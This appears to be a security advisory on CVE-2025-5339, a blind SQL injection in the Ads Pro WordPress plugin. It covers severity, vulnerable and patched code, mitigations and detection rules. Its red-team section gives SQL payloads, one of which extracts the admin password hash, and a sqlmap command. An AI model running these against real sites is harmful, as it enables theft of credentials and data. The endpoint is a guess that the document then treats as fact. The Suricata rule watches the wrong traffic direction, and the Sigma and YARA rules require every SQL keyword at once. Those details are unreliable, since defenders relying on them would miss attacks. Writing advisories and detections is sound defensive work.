CVE-2025-5339

Executive Summary

CVE-2025-5339 is a critical unauthenticated time-based blind SQL Injection vulnerability discovered in the Ads Pro Plugin - Multi-Purpose WordPress Advertising Manager plugin for WordPress. The flaw resides in the bsa_pro_id parameter, which is insufficiently sanitized and used directly in SQL queries without proper parameterization. This allows any unauthenticated attacker to inject arbitrary SQL commands, potentially extracting sensitive data from the WordPress database, including user credentials, session tokens, and configuration secrets. The vulnerability affects all versions up to and including 4.89. No patch is currently available, and no public proof-of-concept exploit has been released. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains high due to the unauthenticated nature and the widespread use of WordPress.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The Ads Pro plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to verify the integrity of their plugin files and monitor for any unauthorized modifications. Since no patch exists, the supply chain risk is elevated; users should consider disabling the plugin until a fix is released.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Unauthenticated.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full database read access possible.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

CVSS Score: 7.5 (High)
Threat Level: High – Unauthenticated remote SQL injection with potential for data exfiltration.

Deep Dive & Mechanics

The vulnerability is a classic time-based blind SQL injection in the bsa_pro_id parameter. The plugin likely constructs a SQL query similar to:

SELECT * FROM wp_bsa_pro_data WHERE id = '{$bsa_pro_id}'

Without proper escaping or prepared statements, an attacker can inject a payload such as:

1' AND SLEEP(5)--

This causes a time delay, confirming the injection point. By using conditional SLEEP() statements, an attacker can extract data character by character, such as the WordPress admin hash or database credentials.

The injection is blind (no error output), so the attacker relies on time-based responses. The bsa_pro_id parameter is likely passed via GET or POST request to an AJAX endpoint or a shortcode handler.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

$bsa_pro_id = $_GET['bsa_pro_id'];
$query = "SELECT * FROM wp_bsa_pro_data WHERE id = '$bsa_pro_id'";
$result = $wpdb->get_results($query);

Patched Code (Conceptual):

$bsa_pro_id = intval($_GET['bsa_pro_id']);
$query = $wpdb->prepare("SELECT * FROM wp_bsa_pro_data WHERE id = %d", $bsa_pro_id);
$result = $wpdb->get_results($query);

The patch uses intval() to force integer input and $wpdb->prepare() for parameterized queries. Since no official patch exists, this is a recommended fix.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install WordPress with the Ads Pro plugin version 4.89.
2. Ensure the plugin is active and accessible via a web server.

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=bsa_pro_get_data&bsa_pro_id=1).
2. Test for injection with a time-based payload:

   GET /wp-admin/admin-ajax.php?action=bsa_pro_get_data&bsa_pro_id=1' AND SLEEP(5)--
   

3. If the response is delayed by 5 seconds, the injection is confirmed.
4. Use a tool like sqlmap to automate data extraction:

   sqlmap -u "http://target/wp-admin/admin-ajax.php?action=bsa_pro_get_data&bsa_pro_id=1" --batch --time-sec=5 --dbs
   

Manual Payload Example:

1' AND (SELECT IF(SUBSTRING(user_pass,1,1)='$',SLEEP(5),0) FROM wp_users LIMIT 1)--

Blue Team (Defensive)

Detection:

• Monitor for unusual bsa_pro_id parameter values containing SQL keywords (AND, OR, SLEEP, UNION, etc.).
• Look for requests with long response times (e.g., >3 seconds) to the same endpoint.
• Use WAF rules to block SQL injection patterns.

Mitigation:

• Immediately disable the Ads Pro plugin if no patch is available.
• Implement a Web Application Firewall (WAF) with SQL injection rules.
• Restrict access to the vulnerable endpoint via .htaccess or server config.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /wp-admin/admin-ajax.php with action=bsa_pro_get_data and bsa_pro_id containing SQL syntax.
  • Unusually high response times (e.g., >5 seconds) for such requests.
• File IOCs:
  • Modified plugin files in /wp-content/plugins/ads-pro/ (e.g., added backdoors).
• Database IOCs:
  • Suspicious entries in wp_bsa_pro_data table.
  • New admin users or modified user roles.

Detection Engineering

YARA Rule

rule CVE_2025_5339_Ads_Pro_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-5339 in Ads Pro plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-5339"
    strings:
        $sqli1 = "bsa_pro_id=" nocase
        $sqli2 = "SLEEP(" nocase
        $sqli3 = "AND " nocase
        $sqli4 = "OR " nocase
        $sqli5 = "UNION" nocase
    condition:
        all of ($sqli*) and #sqli1 > 0
}

Sigma Rule

title: CVE-2025-5339 - Ads Pro SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against the Ads Pro plugin bsa_pro_id parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'bsa_pro_id='
        cs-uri-query|contains|all:
            - 'SLEEP('
            - 'AND'
            - 'OR'
            - 'UNION'
    condition: selection
falsepositives:
    - Legitimate use of special characters in IDs (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-5339 - Ads Pro SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=bsa_pro_get_data"; http_uri; content:"bsa_pro_id="; http_uri; pcre:"/bsa_pro_id=[^&]*(SLEEP|AND|OR|UNION)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the Ads Pro plugin until a patch is released.
2. Short-term: Implement a WAF rule to block requests containing SQL keywords in the bsa_pro_id parameter.
3. Long-term: Apply the conceptual patch (use intval() and $wpdb->prepare()) if you have developer access, or wait for an official update.
4. Monitoring: Enable logging for all requests to admin-ajax.php and review for anomalies.
5. Backup: Ensure regular database backups to facilitate recovery if data is compromised.

Valters IT
Securing Digital Ecosystems